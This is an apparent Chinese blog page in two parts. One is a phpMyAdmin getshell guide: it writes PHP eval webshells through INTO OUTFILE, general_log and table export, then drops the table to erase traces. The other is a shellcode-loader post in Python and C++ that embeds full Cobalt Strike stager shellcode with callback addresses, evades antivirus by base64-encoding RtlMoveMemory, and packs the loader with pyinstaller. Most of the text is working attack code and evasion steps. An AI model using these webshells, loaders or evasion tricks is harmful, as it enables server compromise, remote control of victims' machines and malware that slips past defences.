phpMyadmin的Getshell思路

phpMyadmin是一个以PHP为基础的MySQL数据库管理工具，使网站管理员可通过Web接口管理数据库。

phpMyadmin简介

phpMyadmin是一个以PHP为基础的MySQL数据库管理工具，使网站管理员可通过Web接口管理数据库。

信息收集

此部分主要需要收集的是网站物理路径，否则后续无法通过URL连接Shell

物理路径

查询数据库存储路径来推测网站物理路径，也可以通过log变量得到

select @@datadir;

配置文件爆路径：如果注入点有文件读取权限，可通过load_file尝试读取配置文件

# Windows
c:windowsphp.ini # php配置文件
c:windowssystem32inetsrvMetaBase.xml # IIS虚拟主机配置文件

# Linux
/etc/php.ini # php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf # Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf # 虚拟目录配置文件

单引号爆路径：直接在URL后面加单引号。要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。www.abc.com/index.php?id=1'
错误参数值爆路径：尝试将要提交的参数值改成错误值。www.abc.com/index.php?id=-1
Nginx文件类型错误解析爆路径：要求Web服务器是Nginx，且存在文件类型解析漏洞。在图片地址后添加/x.php，该图片不但会被当作php文件执行，还有可能爆出物理路径。www.abc.com/bg.jpg/x.php
Google爆路径

site:xxx.com warning

site:xxx.com "fatal error"

测试文件爆路径

www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php

其它

/phpMyAdmin/libraries/selectlang.lib.php
/phpMyAdmin/darkblueorange/layout.inc.php
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpMyAdmin/index.php?lang[]=1
/phpMyAdmin/darkblueorange/layout.inc.php phpMyAdmin/index.php?lang[]=1
/phpmyadmin/libraries/lect_lang.lib.php

/phpMyAdmin/phpinfo.php
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php

其它信息

phpMyadmin后台面板可以直接看到MySQL版本、当前用户、操作系统、PHP版本、phpMyadmin版本等信息
也可以通过SQL查询得到其它信息

select version(); -- 查看数据库版本
select @@datadir; -- 查看数据库存储路径
show VARIABLES like '%char%'; -- 查看系统变量

GetShell

前提条件

网站真实路径。如果不知道网站真实路径则后续无法通过URL的方式连shell
读写权限。查询secure_file_priv参数，查看是否具有读写文件权限，若为NULL则没有办法写入shell。这个值是只读变量，只能通过配置文件修改，且更改后需重启服务才生效

select @@secure_file_priv -- 查询secure_file_priv

-- secure_file_priv=NULL,禁止导入导出

-- secure_file_priv='',不限制导入导出

-- secure_file_priv=/path/,只能向指定目录导入导出

select load_file('c:/phpinfo.php'); -- 读取文件

select '123' into outfile 'c:/shell.php'; -- 写入文件

常规GetShell

直接通过SQL查询写入shell

-- 假设物理路径为 "G:phpStudyWWW"

select '<?php eval($_POST["pwd"]);?>' into outfile 'G:/phpStudy/WWW/shell.php';

日志GetShell

MySQL5.0版本以上会创建日志文件，通过修改日志的全局变量打开日志并指定日志保存路径，再通过查询写入一句话木马，此时该木马会被日志记录并生成日志文件，从而GetShell。但是前提是要对生成的日志文件有读写权限。

查询日志全局变量
- general_log：日志保存状态
- general_log_file：日志保存路径

show variables like '%general%';

Variable_name Value

general_log OFF

general_log_file G:phpStudyMySQLdataFengSec.log

开启日志保存并配置保存路径

set global general_log = "ON"; -- 打开日志保存

set global general_log_file = "G:/phpstudy/WWW/log.php"; -- 设置日志保存路径,需先得知网站物理路径,否则即使写入了Shell也无法通过URL连接

写shell

select '<?php eval($_POST[pwd]); ?>;

新表GetShell

进入一个数据库，新建数据表。
- 名字随意，这里为shell_table
- 字段数填1

添加字段
- 字段名任意，这里为xiaoma
- 字段类型为TEXT

在该表中点击插入，值为一句话木马

<?php eval($_POST[pwd]); ?>

执行SQL查询，将该表中的内容导出到指定文件

-- 假设物理路径为 "G:phpStudyWWW"

select * from shell_table into outfile "G:/phpstudy/WWW/shell.php";

删除该表，抹除痕迹

Drop TABLE IF EXISTS shell_table;

以上步骤也可以通过MySQL语句执行

Create TABLE shell_table (xiaoma text NOT NULL) -- 建表

Insert INTO shell_table (xiaoma) VALUES('<?php eval($_POST[1]);?>'); -- 写入

select * from shell_table into outfile 'G:/phpstudy/WWW/shell.php'; -- 导出

Drop TABLE IF EXISTS shell_table; -- 删表

特殊版本GetShell

CVE-2013-3238

影响版本：3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG
利用模块：exploit/multi/http/phpmyadminpregreplace

CVE-2012-5159

影响版本：phpMyAdmin v3.5.2.2
利用模块：exploit/multi/http/phpmyadmin3522_backdoor

CVE-2009-1151

PhpMyAdmin配置文件/config/config.inc.php存在命令执行

影响版本：2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
利用模块：exploit/unix/webapp/phpmyadmin_config

弱口令&万能密码

弱口令：版本phpmyadmin2.11.9.2，直接root用户登陆，无需密码
万能密码：版本2.11.3 / 2.11.4，用户名'localhost'@'@"则登录成功

pyinstaller打包逆向分析

Thu, 29 Apr 2021 11:19:00 GMT

pyinstaller打包逆向分析

1. python3利用shellcode免杀火绒

1.1 什么是shellcode

在攻击中，shellcode是一段用于利用软件漏洞的有效负载，shellcode是16进制的机器码，以其经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。可在寄存器eip溢出后，放入一段可让CPU执行的shellcode机器码，让电脑可以执行攻击者的任意指令。

1.2 python版本

# -*- encoding: utf-8 -*-
# Time : 2021/04/29 11:19:04
# Author: crow
 
 
import ctypes
 
shellcode =  b""
shellcode += b"\x\"
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr), 
    buf, 
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.c_uint64(ptr), 
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

1.3 C++版本

 
#include <Windows.h>
#include <stdio.h>
using namespace std;
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment(linker, "/INCREMENTAL:NO")
 
int main(int argc, char** argv) {
    unsigned char ShellCode[] = "";
 
    void* exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, ShellCode, sizeof ShellCode);
    ((void(*)())exec)();
    return 0;
}

2. 无av条件下使用

2.1 cs shellcode

这里以python为例，在cs上选择64位的进行生成

看下当前的shellcode

2.2 生成py文件

直接对上面的shellcode加载器和shellcode进行组合

# -*- encoding: utf-8 -*-
# Time : 2021/04/29 11:19:04
# Author: crow
 
 
import ctypes
 
shellcode =  b""
# shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x21\x03\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x4e\x39\x69\x6d\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4f\x70\x65\x72\x61\x2f\x39\x2e\x38\x30\x20\x28\x58\x31\x31\x3b\x20\x4c\x69\x6e\x75\x78\x20\x78\x38\x36\x5f\x36\x34\x3b\x20\x55\x3b\x20\x55\x62\x75\x6e\x74\x75\x2f\x31\x30\x2e\x31\x30\x20\x28\x6d\x61\x76\x65\x72\x69\x63\x6b\x29\x3b\x20\x70\x6c\x29\x20\x50\x72\x65\x73\x74\x6f\x2f\x32\x2e\x37\x2e\x36\x32\x20\x56\x65\x72\x73\x69\x6f\x6e\x2f\x31\x31\x2e\x30\x31\x0d\x0a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x31\x35\x2e\x31\x35\x39\x2e\x39\x37\x2e\x33\x35\x00\x00\x00\x00\x00"
shellcode  += b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x21\x03\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x36\x75\x58\x5a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x37\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x30\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x29\x0d\x0a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x30\x2e\x32\x31\x31\x2e\x35\x35\x2e\x32\x00\x00\x00\x00\x00"
 
 
 
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
 
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr), 
    buf, 
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.c_uint64(ptr), 
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

直接运行之后，cs上线

2.3 exe打包

直接在win10上当着360的面打包

双击之后，直接上线

？？？？

大概2分钟之后，360报毒

关闭所有的杀毒之后，分别在win10和winserver2019上运行正常，win7本地运行报错

从网上查到了相关的资料：

failed to execute script pyi_rth_multiprocessing

https://github.com/pyinstaller/pyinstaller/issues/4706

我的系统是64位的，因此这里打包的话，可以将python的版本修改到3.6.5进行打包

2.4 查杀

查杀效果均为联网条件下，时间为2021.04.29日上午10分左右

对于打包的exe文件，静态查杀效果

当然，在无防护下，理论上所有木马均可上线

3. shellcode免杀

这里以Windows7下的火绒为例

完整版：

 
# -*- encoding: utf-8 -*-
# Time : 2021/04/29 11:19:04
# Author: crow
 
 
import ctypes
 
shellcode =  b""
shellcode  += b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x21\x03\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x36\x75\x58\x5a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x37\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x30\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x29\x0d\x0a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x30\x2e\x32\x31\x31\x2e\x35\x35\x2e\x32\x00\x00\x00\x00\x00"
 
 
 
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
 
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr), 
    buf, 
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.c_uint64(ptr), 
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

报毒

删除一段,查杀：

正常

再加入一段，查杀

正常

这说明查杀的点就在后面一段中，查杀

报毒

经过多次fuzz发现，火绒对RtlMoveMemory字段敏感

当删除RtlMoveMemory之后

因此只要对RtlMoveMemory进行关键字处理应该就可以了，这里对字符进行base64加密再解密，当然也可以用base32等，方法有很多，还可以采用其他的加密

ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr), 
    buf, 
    ctypes.c_int(len(shellcode))
)

整理到一行

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),  buf,  ctypes.c_int(len(shellcode)))

base64加密：

Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLCBidWYsIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkp

然后再进行解码：

测试是否免杀

测试上线是否正常

在win10无杀软的情况下，上线正常

那就在win10下打包为exe文件

pyinstaller -F --noconsole py_shellcode_fuzz.py

--console就是不显示命令窗口的意思

再次上线测试，正常上线

测试：

火绒免杀

静态正常：

动态上线测试

正好有个机会在其他的电脑上进行了测试：

免杀电脑管家，金山毒霸

vt查询

https://www.virustotal.com/gui/file/a278c36a24c7315a0d8d7f8c1adf2a4ac927b25f72aca330fdb7ea77be86ac48/detection

接下来就是不能免杀的：

windows defender

360 直接云查杀

这里做一个统计

查杀效果均为联网条件下，时间为2021.04.30日夜间23时左右

这里使用pyinstaller打包的exe文件无法过360和Windows Defender

4. exe文件反编译

注意：这里的exe文件反编译指的是对pyinstraller打包的文件进行反编译

4.1 测试环境

操作系统：windows 10

python版本：python3.8.7

16进制编辑器：010 editor

exe反编译工具：pyinstxtractor.py

pyc反编译工具：uncompyle6

4.2 pyinstaller打包程序为exe

首先写一个简单的python3脚本

01_easy.py

# -*- encoding: utf-8 -*-
# Time : 2021/06/17 10:45:45
# Author: crow
 
import time 
 
while 1:
    print('hello world')
    time.sleep(1)

然后将该程序使用pyinstaller打包为exe文件

pyinstaller -F 01_easy.py

